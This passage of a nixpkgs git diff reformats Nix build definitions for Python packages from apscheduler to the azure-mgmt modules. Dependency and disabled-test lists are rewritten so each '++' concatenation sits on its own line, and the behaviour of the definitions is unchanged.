@@ -51,18 +51,17 @@ buildPythonPackage rec {
     twisted
   ];
 
-  disabledTests =
-    [
-      "test_broken_pool"
-      # gevent tests have issue on newer Python releases
-      "test_add_live_job"
-      "test_add_pending_job"
-      "test_shutdown"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      "test_submit_job"
-      "test_max_instances"
-    ];
+  disabledTests = [
+    "test_broken_pool"
+    # gevent tests have issue on newer Python releases
+    "test_add_live_job"
+    "test_add_pending_job"
+    "test_shutdown"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    "test_submit_job"
+    "test_max_instances"
+  ];
 
   pythonImportsCheck = [ "apscheduler" ];
 
diff --git a/pkgs/development/python-modules/apsw/default.nix b/pkgs/development/python-modules/apsw/default.nix
index ba376163a7e8..3aa50ce8f44b 100644
--- a/pkgs/development/python-modules/apsw/default.nix
+++ b/pkgs/development/python-modules/apsw/default.nix
@@ -39,7 +39,8 @@ buildPythonPackage rec {
     "testVFSWithWAL"
     # no lines in errout.txt
     "testWriteUnraisable"
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ "testzzForkChecker" ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ "testzzForkChecker" ];
 
   pythonImportsCheck = [ "apsw" ];
 
diff --git a/pkgs/development/python-modules/arelle/default.nix b/pkgs/development/python-modules/arelle/default.nix
index 6348b5aa9d72..36429cc7fd47 100644
--- a/pkgs/development/python-modules/arelle/default.nix
+++ b/pkgs/development/python-modules/arelle/default.nix
@@ -83,7 +83,8 @@ buildPythonPackage rec {
     pyparsing
     python-dateutil
     regex
-  ] ++ lib.optionals gui [ tkinter ];
+  ]
+  ++ lib.optionals gui [ tkinter ];
 
   optional-dependencies = {
     crypto = [ pycryptodome ];
@@ -123,21 +124,21 @@ buildPythonPackage rec {
   nativeCheckInputs = [
     pytestCheckHook
     boto3
-  ] ++ lib.flatten (lib.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (lib.attrValues optional-dependencies);
 
   preCheck = ''
     export HOME=$(mktemp -d)
   '';
 
-  disabledTestPaths =
-    [
-      "tests/integration_tests"
-    ]
-    ++ lib.optionals (!gui) [
-      # these tests import tkinter
-      "tests/unit_tests/arelle/test_updater.py"
-      "tests/unit_tests/arelle/test_import.py"
-    ];
+  disabledTestPaths = [
+    "tests/integration_tests"
+  ]
+  ++ lib.optionals (!gui) [
+    # these tests import tkinter
+    "tests/unit_tests/arelle/test_updater.py"
+    "tests/unit_tests/arelle/test_import.py"
+  ];
 
   meta = {
     description = "Open source XBRL platform";
diff --git a/pkgs/development/python-modules/argilla/default.nix b/pkgs/development/python-modules/argilla/default.nix
index c90adc544109..dd62e25856b9 100644
--- a/pkgs/development/python-modules/argilla/default.nix
+++ b/pkgs/development/python-modules/argilla/default.nix
@@ -107,31 +107,30 @@ buildPythonPackage rec {
   ];
 
   optional-dependencies = {
-    server =
-      [
-        aiofiles
-        aiosqlite
-        alembic
-        brotli-asgi
-        elasticsearch8
-        fastapi
-        greenlet
-        luqum
-        opensearch-py
-        passlib
-        psutil
-        python-jose
-        python-multipart
-        pyyaml
-        scikit-learn
-        smart-open
-        sqlalchemy
-        uvicorn
-      ]
-      ++ elasticsearch8.optional-dependencies.async
-      ++ uvicorn.optional-dependencies.standard
-      ++ python-jose.optional-dependencies.cryptography
-      ++ passlib.optional-dependencies.bcrypt;
+    server = [
+      aiofiles
+      aiosqlite
+      alembic
+      brotli-asgi
+      elasticsearch8
+      fastapi
+      greenlet
+      luqum
+      opensearch-py
+      passlib
+      psutil
+      python-jose
+      python-multipart
+      pyyaml
+      scikit-learn
+      smart-open
+      sqlalchemy
+      uvicorn
+    ]
+    ++ elasticsearch8.optional-dependencies.async
+    ++ uvicorn.optional-dependencies.standard
+    ++ python-jose.optional-dependencies.cryptography
+    ++ passlib.optional-dependencies.bcrypt;
     postgresql = [
       asyncpg
       psycopg2
@@ -163,7 +162,8 @@ buildPythonPackage rec {
       # span_marker
       # trl
       # spacy-huggingface-hub
-    ] ++ transformers.optional-dependencies.torch;
+    ]
+    ++ transformers.optional-dependencies.torch;
   };
 
   # Still quite a bit of optional dependencies missing
@@ -178,7 +178,8 @@ buildPythonPackage rec {
     pytest-mock
     pytest-asyncio
     factory-boy
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   disabledTestPaths = [ "tests/server/datasets/test_dao.py" ];
 
diff --git a/pkgs/development/python-modules/argparse-manpage/default.nix b/pkgs/development/python-modules/argparse-manpage/default.nix
index 8900800c1bbc..73281ff48f95 100644
--- a/pkgs/development/python-modules/argparse-manpage/default.nix
+++ b/pkgs/development/python-modules/argparse-manpage/default.nix
@@ -25,7 +25,8 @@ buildPythonPackage rec {
   nativeBuildInputs = [
     setuptools
     packaging
-  ] ++ lib.optionals (pythonOlder "3.11") [ tomli ];
+  ]
+  ++ lib.optionals (pythonOlder "3.11") [ tomli ];
 
   propagatedBuildInputs = lib.optionals (pythonOlder "3.11") [ tomli ];
 
diff --git a/pkgs/development/python-modules/aria2p/default.nix b/pkgs/development/python-modules/aria2p/default.nix
index 7f5355a02744..1d5e46c575c6 100644
--- a/pkgs/development/python-modules/aria2p/default.nix
+++ b/pkgs/development/python-modules/aria2p/default.nix
@@ -47,7 +47,8 @@ buildPythonPackage rec {
     setuptools # for pkg_resources
     toml
     websocket-client
-  ] ++ lib.optionals withTui optional-dependencies.tui;
+  ]
+  ++ lib.optionals withTui optional-dependencies.tui;
 
   optional-dependencies = {
     tui = [
@@ -68,7 +69,8 @@ buildPythonPackage rec {
     responses
     psutil
     uvicorn
-  ] ++ optional-dependencies.tui;
+  ]
+  ++ optional-dependencies.tui;
 
   disabledTests = [
     # require a running display server
diff --git a/pkgs/development/python-modules/array-api-compat/default.nix b/pkgs/development/python-modules/array-api-compat/default.nix
index 49ba3d13eb73..ad55ece79402 100644
--- a/pkgs/development/python-modules/array-api-compat/default.nix
+++ b/pkgs/development/python-modules/array-api-compat/default.nix
@@ -39,7 +39,8 @@ buildPythonPackage rec {
     dask
     sparse
     array-api-strict
-  ] ++ lib.optionals cudaSupport [ cupy ];
+  ]
+  ++ lib.optionals cudaSupport [ cupy ];
 
   pythonImportsCheck = [ "array_api_compat" ];
 
diff --git a/pkgs/development/python-modules/array-record/default.nix b/pkgs/development/python-modules/array-record/default.nix
index f5ada31de500..6cde9151bb55 100644
--- a/pkgs/development/python-modules/array-record/default.nix
+++ b/pkgs/development/python-modules/array-record/default.nix
@@ -40,7 +40,8 @@ buildPythonPackage rec {
   dependencies = [
     absl-py
     etils
-  ] ++ etils.optional-dependencies.epath;
+  ]
+  ++ etils.optional-dependencies.epath;
 
   pythonImportsCheck = [ "array_record" ];
 
diff --git a/pkgs/development/python-modules/ase/default.nix b/pkgs/development/python-modules/ase/default.nix
index a575de3bc77a..7fd41e31a9a9 100644
--- a/pkgs/development/python-modules/ase/default.nix
+++ b/pkgs/development/python-modules/ase/default.nix
@@ -32,18 +32,17 @@ buildPythonPackage rec {
 
   build-system = [ setuptools ];
 
-  dependencies =
-    [
-      numpy
-      scipy
-      matplotlib
-      flask
-      pillow
-      psycopg2
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      tkinter
-    ];
+  dependencies = [
+    numpy
+    scipy
+    matplotlib
+    flask
+    pillow
+    psycopg2
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    tkinter
+  ];
 
   nativeCheckInputs = [
     pytestCheckHook
@@ -62,7 +61,8 @@ buildPythonPackage rec {
     "test_pw_input_write_nested_flat" # Did not raise DeprecationWarning
     "test_fix_scaled" # Did not raise UserWarning
     "test_ipi_protocol" # flaky
-  ] ++ lib.optionals (pythonAtLeast "3.12") [ "test_info_calculators" ];
+  ]
+  ++ lib.optionals (pythonAtLeast "3.12") [ "test_info_calculators" ];
 
   preCheck = ''
     export PATH="$out/bin:$PATH"
diff --git a/pkgs/development/python-modules/asn1tools/default.nix b/pkgs/development/python-modules/asn1tools/default.nix
index 627f899128d7..f03d39d05379 100644
--- a/pkgs/development/python-modules/asn1tools/default.nix
+++ b/pkgs/development/python-modules/asn1tools/default.nix
@@ -48,7 +48,8 @@ buildPythonPackage rec {
     pytest-xdist
     pytestCheckHook
     versionCheckHook
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
   versionCheckProgramArg = "--version";
 
   pythonImportsCheck = [ "asn1tools" ];
diff --git a/pkgs/development/python-modules/asteroid-filterbanks/default.nix b/pkgs/development/python-modules/asteroid-filterbanks/default.nix
index 43c72c146c3c..bb956ea8e7c4 100644
--- a/pkgs/development/python-modules/asteroid-filterbanks/default.nix
+++ b/pkgs/development/python-modules/asteroid-filterbanks/default.nix
@@ -54,28 +54,27 @@ buildPythonPackage {
     scipy
   ];
 
-  disabledTests =
-    [
-      # RuntimeError: cannot cache function '__o_fold': no locator available for file
-      # '/nix/store/d1znhn1n48z2raj0j9zbz80hhg4k2shw-python3.12-librosa-0.10.2.post1/lib/python3.12/site-packages/librosa/core/notation.py'
-      "test_melgram_encoder"
-      "test_melscale"
+  disabledTests = [
+    # RuntimeError: cannot cache function '__o_fold': no locator available for file
+    # '/nix/store/d1znhn1n48z2raj0j9zbz80hhg4k2shw-python3.12-librosa-0.10.2.post1/lib/python3.12/site-packages/librosa/core/notation.py'
+    "test_melgram_encoder"
+    "test_melscale"
 
-      # AssertionError: The values for attribute 'shape' do not match
-      "test_torch_stft"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # Issue with JIT on darwin:
-      # RuntimeError: required keyword attribute 'value' has the wrong type
-      "test_jit_filterbanks"
-      "test_jit_filterbanks_enc"
-      "test_pcen_jit"
-      "test_stateful_pcen_jit"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isAarch64) [
-      # Flaky: AssertionError: Tensor-likes are not close!
-      "test_fb_def_and_forward_lowdim"
-    ];
+    # AssertionError: The values for attribute 'shape' do not match
+    "test_torch_stft"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # Issue with JIT on darwin:
+    # RuntimeError: required keyword attribute 'value' has the wrong type
+    "test_jit_filterbanks"
+    "test_jit_filterbanks_enc"
+    "test_pcen_jit"
+    "test_stateful_pcen_jit"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isAarch64) [
+    # Flaky: AssertionError: Tensor-likes are not close!
+    "test_fb_def_and_forward_lowdim"
+  ];
 
   meta = {
     description = "PyTorch-based audio source separation toolkit for researchers";
diff --git a/pkgs/development/python-modules/astropy/default.nix b/pkgs/development/python-modules/astropy/default.nix
index 54d41608b31c..d3f5c817fece 100644
--- a/pkgs/development/python-modules/astropy/default.nix
+++ b/pkgs/development/python-modules/astropy/default.nix
@@ -95,30 +95,30 @@ buildPythonPackage rec {
       ipykernel
       # ipydatagrid
       pandas
-    ] ++ self.ipython;
-    all =
-      [
-        certifi
-        dask
-        h5py
-        pyarrow
-        beautifulsoup4
-        html5lib
-        sortedcontainers
-        pytz
-        jplephem
-        mpmath
-        asdf
-        asdf-astropy
-        bottleneck
-        fsspec
-        s3fs
-      ]
-      ++ self.recommended
-      ++ self.ipython
-      ++ self.jupyter
-      ++ dask.optional-dependencies.array
-      ++ fsspec.optional-dependencies.http;
+    ]
+    ++ self.ipython;
+    all = [
+      certifi
+      dask
+      h5py
+      pyarrow
+      beautifulsoup4
+      html5lib
+      sortedcontainers
+      pytz
+      jplephem
+      mpmath
+      asdf
+      asdf-astropy
+      bottleneck
+      fsspec
+      s3fs
+    ]
+    ++ self.recommended
+    ++ self.ipython
+    ++ self.jupyter
+    ++ dask.optional-dependencies.array
+    ++ fsspec.optional-dependencies.http;
   });
 
   nativeCheckInputs = [
@@ -127,7 +127,8 @@ buildPythonPackage rec {
     pytest-astropy-header
     pytest-astropy
     threadpoolctl
-  ] ++ optional-dependencies.recommended;
+  ]
+  ++ optional-dependencies.recommended;
 
   pythonImportsCheck = [ "astropy" ];
 
diff --git a/pkgs/development/python-modules/async-upnp-client/default.nix b/pkgs/development/python-modules/async-upnp-client/default.nix
index e32ff8c39b00..030ccf1a8f26 100644
--- a/pkgs/development/python-modules/async-upnp-client/default.nix
+++ b/pkgs/development/python-modules/async-upnp-client/default.nix
@@ -60,7 +60,8 @@ buildPythonPackage rec {
     # socket.gaierror: [Errno -2] Name or service not known
     "test_async_get_local_ip"
     "test_get_local_ip"
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ "test_deferred_callback_url" ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ "test_deferred_callback_url" ];
 
   disabledTestPaths = [
     # Tries to bind to multicast socket and fails to find proper interface
diff --git a/pkgs/development/python-modules/asyncssh/default.nix b/pkgs/development/python-modules/asyncssh/default.nix
index 91c863124bed..adc123e7e013 100644
--- a/pkgs/development/python-modules/asyncssh/default.nix
+++ b/pkgs/development/python-modules/asyncssh/default.nix
@@ -56,7 +56,8 @@ buildPythonPackage rec {
     openssh
     openssl
     pytestCheckHook
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   patches = [
     # Reverts https://github.com/ronf/asyncssh/commit/4b3dec994b3aa821dba4db507030b569c3a32730
diff --git a/pkgs/development/python-modules/asyncua/default.nix b/pkgs/development/python-modules/asyncua/default.nix
index 078be97adfb7..4102aa6bd30f 100644
--- a/pkgs/development/python-modules/asyncua/default.nix
+++ b/pkgs/development/python-modules/asyncua/default.nix
@@ -62,24 +62,23 @@ buildPythonPackage rec {
 
   pythonImportsCheck = [ "asyncua" ];
 
-  disabledTests =
-    [
-      # Failed: DID NOT RAISE <class 'asyncio.exceptions.TimeoutError'>
-      "test_publish"
-    ]
-    ++ lib.optionals (pythonAtLeast "3.13") [
-      # dbm.sqlite3.error: SQLite objects created in a thread can only be used in that same thread.
-      # The object was created in thread id 140737220687552 and this is thread id 140737343690560.
-      "test_runTest"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # OSError: [Errno 48] error while attempting to bind on address ('127.0.0.1',...
-      "test_anonymous_rejection"
-      "test_certificate_handling_success"
-      "test_encrypted_private_key_handling_success"
-      "test_encrypted_private_key_handling_success_with_cert_props"
-      "test_encrypted_private_key_handling_failure"
-    ];
+  disabledTests = [
+    # Failed: DID NOT RAISE <class 'asyncio.exceptions.TimeoutError'>
+    "test_publish"
+  ]
+  ++ lib.optionals (pythonAtLeast "3.13") [
+    # dbm.sqlite3.error: SQLite objects created in a thread can only be used in that same thread.
+    # The object was created in thread id 140737220687552 and this is thread id 140737343690560.
+    "test_runTest"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # OSError: [Errno 48] error while attempting to bind on address ('127.0.0.1',...
+    "test_anonymous_rejection"
+    "test_certificate_handling_success"
+    "test_encrypted_private_key_handling_success"
+    "test_encrypted_private_key_handling_success_with_cert_props"
+    "test_encrypted_private_key_handling_failure"
+  ];
 
   meta = with lib; {
     description = "OPC UA / IEC 62541 Client and Server for Python";
diff --git a/pkgs/development/python-modules/asyncwhois/default.nix b/pkgs/development/python-modules/asyncwhois/default.nix
index 70549885168b..c74ba0d38046 100644
--- a/pkgs/development/python-modules/asyncwhois/default.nix
+++ b/pkgs/development/python-modules/asyncwhois/default.nix
@@ -34,7 +34,8 @@ buildPythonPackage rec {
     python-socks
     tldextract
     whodap
-  ] ++ python-socks.optional-dependencies.asyncio;
+  ]
+  ++ python-socks.optional-dependencies.asyncio;
 
   nativeCheckInputs = [
     pytest-asyncio
diff --git a/pkgs/development/python-modules/auth0-python/default.nix b/pkgs/development/python-modules/auth0-python/default.nix
index cfcca247276a..67a1265e722d 100644
--- a/pkgs/development/python-modules/auth0-python/default.nix
+++ b/pkgs/development/python-modules/auth0-python/default.nix
@@ -43,7 +43,8 @@ buildPythonPackage rec {
     pyopenssl
     requests
     urllib3
-  ] ++ pyjwt.optional-dependencies.crypto;
+  ]
+  ++ pyjwt.optional-dependencies.crypto;
 
   nativeCheckInputs = [
     aiohttp
diff --git a/pkgs/development/python-modules/autobahn/default.nix b/pkgs/development/python-modules/autobahn/default.nix
index 5b71a43facc0..9bb1ac4f3545 100644
--- a/pkgs/development/python-modules/autobahn/default.nix
+++ b/pkgs/development/python-modules/autobahn/default.nix
@@ -61,14 +61,13 @@ buildPythonPackage rec {
     txaio
   ];
 
-  nativeCheckInputs =
-    [
-      mock
-      pytest-asyncio
-      pytestCheckHook
-    ]
-    ++ optional-dependencies.scram
-    ++ optional-dependencies.serialization;
+  nativeCheckInputs = [
+    mock
+    pytest-asyncio
+    pytestCheckHook
+  ]
+  ++ optional-dependencies.scram
+  ++ optional-dependencies.serialization;
 
   preCheck = ''
     # Run asyncio tests (requires twisted)
diff --git a/pkgs/development/python-modules/avwx-engine/default.nix b/pkgs/development/python-modules/avwx-engine/default.nix
index 2fadafe4fc22..f05c71a97493 100644
--- a/pkgs/development/python-modules/avwx-engine/default.nix
+++ b/pkgs/development/python-modules/avwx-engine/default.nix
@@ -61,7 +61,8 @@ buildPythonPackage rec {
     pytest-cov-stub
     pytestCheckHook
     time-machine
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   pythonImportsCheck = [ "avwx" ];
 
diff --git a/pkgs/development/python-modules/aws-xray-sdk/default.nix b/pkgs/development/python-modules/aws-xray-sdk/default.nix
index afac3f4429ec..4b509361fb92 100644
--- a/pkgs/development/python-modules/aws-xray-sdk/default.nix
+++ b/pkgs/development/python-modules/aws-xray-sdk/default.nix
@@ -42,7 +42,8 @@ buildPythonPackage rec {
     jsonpickle
     requests
     wrapt
-  ] ++ lib.optionals (pythonOlder "3.8") [ importlib-metadata ];
+  ]
+  ++ lib.optionals (pythonOlder "3.8") [ importlib-metadata ];
 
   nativeCheckInputs = [
     aiohttp
diff --git a/pkgs/development/python-modules/ax-platform/default.nix b/pkgs/development/python-modules/ax-platform/default.nix
index e7ba1895624e..9be270a00e82 100644
--- a/pkgs/development/python-modules/ax-platform/default.nix
+++ b/pkgs/development/python-modules/ax-platform/default.nix
@@ -67,7 +67,8 @@ buildPythonPackage rec {
     pytestCheckHook
     tabulate
     yappi
-  ] ++ lib.flatten (lib.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (lib.attrValues optional-dependencies);
 
   disabledTestPaths = [
     "ax/benchmark"
@@ -80,34 +81,33 @@ buildPythonPackage rec {
     "ax/storage"
   ];
 
-  disabledTests =
-    [
-      # exact comparison of floating points
-      "test_optimize_l0_homotopy"
-      # AssertionError: 5 != 2
-      "test_get_standard_plots_moo"
-      # AssertionError: Expected 'warning' to be called once. Called 3 times
-      "test_validate_kwarg_typing"
-      # uses torch.equal
-      "test_convert_observations"
-      # broken with sqlalchemy 2
-      "test_sql_storage"
-    ]
-    ++ lib.optionals (pythonAtLeast "3.13") [
-      #  Both `metric_aggregation` and `criterion` must be `ReductionCriterion`
-      "test_SingleDiagnosticBestModelSelector_max_mean"
-      "test_SingleDiagnosticBestModelSelector_min_mean"
-      "test_SingleDiagnosticBestModelSelector_min_min"
-      "test_SingleDiagnosticBestModelSelector_model_cv_kwargs"
-      "test_init"
-      "test_gen"
-      # "use MIN or MAX" does not match "Both `metric_aggregation` and `criterion` must be `ReductionCriterion`
-      "test_user_input_error"
-    ]
-    ++ lib.optionals stdenvNoCC.hostPlatform.isDarwin [
-      # flaky on x86
-      "test_gen_with_expanded_parameter_space"
-    ];
+  disabledTests = [
+    # exact comparison of floating points
+    "test_optimize_l0_homotopy"
+    # AssertionError: 5 != 2
+    "test_get_standard_plots_moo"
+    # AssertionError: Expected 'warning' to be called once. Called 3 times
+    "test_validate_kwarg_typing"
+    # uses torch.equal
+    "test_convert_observations"
+    # broken with sqlalchemy 2
+    "test_sql_storage"
+  ]
+  ++ lib.optionals (pythonAtLeast "3.13") [
+    #  Both `metric_aggregation` and `criterion` must be `ReductionCriterion`
+    "test_SingleDiagnosticBestModelSelector_max_mean"
+    "test_SingleDiagnosticBestModelSelector_min_mean"
+    "test_SingleDiagnosticBestModelSelector_min_min"
+    "test_SingleDiagnosticBestModelSelector_model_cv_kwargs"
+    "test_init"
+    "test_gen"
+    # "use MIN or MAX" does not match "Both `metric_aggregation` and `criterion` must be `ReductionCriterion`
+    "test_user_input_error"
+  ]
+  ++ lib.optionals stdenvNoCC.hostPlatform.isDarwin [
+    # flaky on x86
+    "test_gen_with_expanded_parameter_space"
+  ];
 
   pythonImportsCheck = [ "ax" ];
 
diff --git a/pkgs/development/python-modules/azure-core/default.nix b/pkgs/development/python-modules/azure-core/default.nix
index ffc7a6cfe0b3..fca1181c4c83 100644
--- a/pkgs/development/python-modules/azure-core/default.nix
+++ b/pkgs/development/python-modules/azure-core/default.nix
@@ -55,7 +55,8 @@ buildPythonPackage rec {
     pytest-asyncio
     pytestCheckHook
     trio
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   # test server needs to be available
   preCheck = ''
@@ -76,7 +77,8 @@ buildPythonPackage rec {
     # disable 8 tests failing on some darwin machines with errors:
     # azure.core.polling.base_polling.BadStatus: Invalid return status 403 for 'GET' operation
     # azure.core.exceptions.HttpResponseError: Operation returned an invalid status 'Forbidden'
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ "location_polling_fail" ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ "location_polling_fail" ];
 
   disabledTestPaths = [
     # requires testing modules which aren't published, and likely to create cyclic dependencies
diff --git a/pkgs/development/python-modules/azure-cosmosdb-table/default.nix b/pkgs/development/python-modules/azure-cosmosdb-table/default.nix
index 3f68e661f6c0..4acf29beda33 100644
--- a/pkgs/development/python-modules/azure-cosmosdb-table/default.nix
+++ b/pkgs/development/python-modules/azure-cosmosdb-table/default.nix
@@ -25,7 +25,8 @@ buildPythonPackage rec {
     azure-common
     azure-storage-common
     azure-cosmosdb-nspkg
-  ] ++ lib.optionals (!isPy3k) [ futures ];
+  ]
+  ++ lib.optionals (!isPy3k) [ futures ];
 
   # has no tests
   doCheck = false;
diff --git a/pkgs/development/python-modules/azure-kusto-data/default.nix b/pkgs/development/python-modules/azure-kusto-data/default.nix
index d504b01fc559..9ef5b0b7d97c 100644
--- a/pkgs/development/python-modules/azure-kusto-data/default.nix
+++ b/pkgs/development/python-modules/azure-kusto-data/default.nix
@@ -55,7 +55,8 @@ buildPythonPackage rec {
   nativeCheckInputs = [
     pytest-asyncio
     pytestCheckHook
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   pythonImportsCheck = [ "azure.kusto.data" ];
 
diff --git a/pkgs/development/python-modules/azure-kusto-ingest/default.nix b/pkgs/development/python-modules/azure-kusto-ingest/default.nix
index 13a9e05f60dd..b9aa9fac7f94 100644
--- a/pkgs/development/python-modules/azure-kusto-ingest/default.nix
+++ b/pkgs/development/python-modules/azure-kusto-ingest/default.nix
@@ -49,7 +49,8 @@ buildPythonPackage rec {
     pytest-asyncio
     pytestCheckHook
     responses
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   pythonImportsCheck = [ "azure.kusto.ingest" ];
 
diff --git a/pkgs/development/python-modules/azure-mgmt-advisor/default.nix b/pkgs/development/python-modules/azure-mgmt-advisor/default.nix
index e73f36518d56..9ea2d0267b64 100644
--- a/pkgs/development/python-modules/azure-mgmt-advisor/default.nix
+++ b/pkgs/development/python-modules/azure-mgmt-advisor/default.nix
@@ -26,7 +26,8 @@ buildPythonPackage rec {
     msrestazure
     azure-common
     azure-mgmt-core
-  ] ++ lib.optionals (!isPy3k) [ azure-mgmt-nspkg ];
+  ]
+  ++ lib.optionals (!isPy3k) [ azure-mgmt-nspkg ];
 
   # has no tests
   doCheck = false;
diff --git a/pkgs/development/python-modules/azure-mgmt-appcontainers/default.nix b/pkgs/development/python-modules/azure-mgmt-appcontainers/default.nix
index 0be4aa8e3c01..b0567d972798 100644
--- a/pkgs/development/python-modules/azure-mgmt-appcontainers/default.nix
+++ b/pkgs/development/python-modules/azure-mgmt-appcontainers/default.nix
@@ -25,7 +25,8 @@ buildPythonPackage rec {
     azure-common
     azure-mgmt-core
     isodate
-  ] ++ lib.optionals (pythonOlder "3.8") [ typing-extensions ];
+  ]
+  ++ lib.optionals (pythonOlder "3.8") [ typing-extensions ];
 
   # no tests included
   doCheck = false;
diff --git a/pkgs/development/python-modules/azure-mgmt-applicationinsights/default.nix b/pkgs/development/python-modules/azure-mgmt-applicationinsights/default.nix
index fb20a442461c..5d0c79348065 100644
--- a/pkgs/development/python-modules/azure-mgmt-applicationinsights/default.nix
+++ b/pkgs/development/python-modules/azure-mgmt-applicationinsights/default.nix
@@ -26,7 +26,8 @@ buildPythonPackage rec {
     azure-mgmt-core
     msrest
     msrestazure
-  ] ++ lib.optionals (!isPy3k) [ azure-mgmt-nspkg ];
+  ]
+  ++ lib.optionals (!isPy3k) [ azure-mgmt-nspkg ];
 
   pythonNamespaces = [ "azure.mgmt" ];
 
diff --git a/pkgs/development/python-modules/azure-mgmt-authorization/default.nix b/pkgs/development/python-modules/azure-mgmt-authorization/default.nix
index 52c94964f570..7ba940147623 100644
--- a/pkgs/development/python-modules/azure-mgmt-authorization/default.nix
+++ b/pkgs/development/python-modules/azure-mgmt-authorization/default.nix
@@ -26,7 +26,8 @@ buildPythonPackage rec {
     msrestazure
     azure-common
     azure-mgmt-core
-  ] ++ lib.optionals (!isPy3k) [ azure-mgmt-nspkg ];
+  ]
+  ++ lib.optionals (!isPy3k) [ azure-mgmt-nspkg ];
 
   # has no tests
   doCheck = false;
diff --git a/pkgs/development/python-modules/azure-mgmt-batchai/default.nix b/pkgs/development/python-modules/azure-mgmt-batchai/default.nix
index cd28585ae7d6..8eeed30924e5 100644
--- a/pkgs/development/python-modules/azure-mgmt-batchai/default.nix
+++ b/pkgs/development/python-modules/azure-mgmt-batchai/default.nix
@@ -26,7 +26,8 @@ buildPythonPackage rec {
     isodate
     azure-common
     azure-mgmt-core
-  ] ++ lib.optionals (pythonOlder "3.8") [ typing-extensions ];
+  ]
+  ++ lib.optionals (pythonOlder "3.8") [ typing-extensions ];
 
   pythonNamespaces = [ "azure.mgmt" ];
 
diff --git a/pkgs/development/python-modules/azure-mgmt-datamigration/default.nix b/pkgs/development/python-modules/azure-mgmt-datamigration/default.nix
index 40f0d07e00de..05be9316577f 100644
--- a/pkgs/development/python-modules/azure-mgmt-datamigration/default.nix
+++ b/pkgs/development/python-modules/azure-mgmt-datamigration/default.nix
@@ -26,7 +26,8 @@ buildPythonPackage rec {
     msrestazure
     azure-common
     azure-mgmt-core
-  ] ++ lib.optionals (!isPy3k) [ azure-mgmt-nspkg ];
+  ]
+  ++ lib.optionals (!isPy3k) [ azure-mgmt-nspkg ];
 
   pythonNamespaces = [ "azure.mgmt" ];
 
diff --git a/pkgs/development/python-modules/azure-mgmt-devtestlabs/default.nix b/pkgs/development/python-modules/azure-mgmt-devtestlabs/default.nix
index dab22d1e065c..1c1dd7a62634 100644
--- a/pkgs/development/python-modules/azure-mgmt-devtestlabs/default.nix
+++ b/pkgs/development/python-modules/azure-mgmt-devtestlabs/default.nix
@@ -26,7 +26,8 @@ buildPythonPackage rec {
     msrestazure
     azure-common
     azure-mgmt-core
-  ] ++ lib.optionals (!isPy3k) [ azure-mgmt-nspkg ];
+  ]
+  ++ lib.optionals (!isPy3k) [ azure-mgmt-nspkg ];
 
   pythonNamespaces = [ "azure.mgmt" ];
 
diff --git a/pkgs/development/python-modules/azure-mgmt-hanaonazure/default.nix b/pkgs/development/python-modules/azure-mgmt-hanaonazure/default.nix
index 02457ba264ef..f487f25cae62 100644
--- a/pkgs/development/python-modules/azure-mgmt-hanaonazure/default.nix
+++ b/pkgs/development/python-modules/azure-mgmt-hanaonazure/default.nix
@@ -26,7 +26,8 @@ buildPythonPackage rec {
     msrestazure
     azure-common
     azure-mgmt-core
-  ] ++ lib.optionals (!isPy3k) [ azure-mgmt-nspkg ];
+  ]
+  ++ lib.optionals (!isPy3k) [ azure-mgmt-nspkg ];
 
   # has no tests
   doCheck = false;
diff --git a/pkgs/development/python-modules/azure-mgmt-iotcentral/default.nix b/pkgs/development/python-modules/azure-mgmt-iotcentral/default.nix
index 4d7ffa9c36f4..bce692fb53c0 100644
--- a/pkgs/development/python-modules/azure-mgmt-iotcentral/default.nix
+++ b/pkgs/development/python-modules/azure-mgmt-iotcentral/default.nix
@@ -26,7 +26,8 @@ buildPythonPackage rec {
     azure-mgmt-core
     msrest
     msrestazure
-  ] ++ lib.optionals (!isPy3k) [ azure-mgmt-nspkg ];
+  ]
+  ++ lib.optionals (!isPy3k) [ azure-mgmt-nspkg ];
 
   # has no tests
   doCheck = false;
diff --git a/pkgs/development/python-modules/azure-mgmt-iothub/default.nix b/pkgs/development/python-modules/azure-mgmt-iothub/default.nix
index fbf2da2f1c13..fee59741d9d1 100644
--- a/pkgs/development/python-modules/azure-mgmt-iothub/default.nix
+++ b/pkgs/development/python-modules/azure-mgmt-iothub/default.nix
@@ -25,7 +25,8 @@ buildPythonPackage rec {
     azure-common
     azure-mgmt-core
     isodate
-  ] ++ lib.optionals (pythonOlder "3.8") [ typing-extensions ];
+  ]
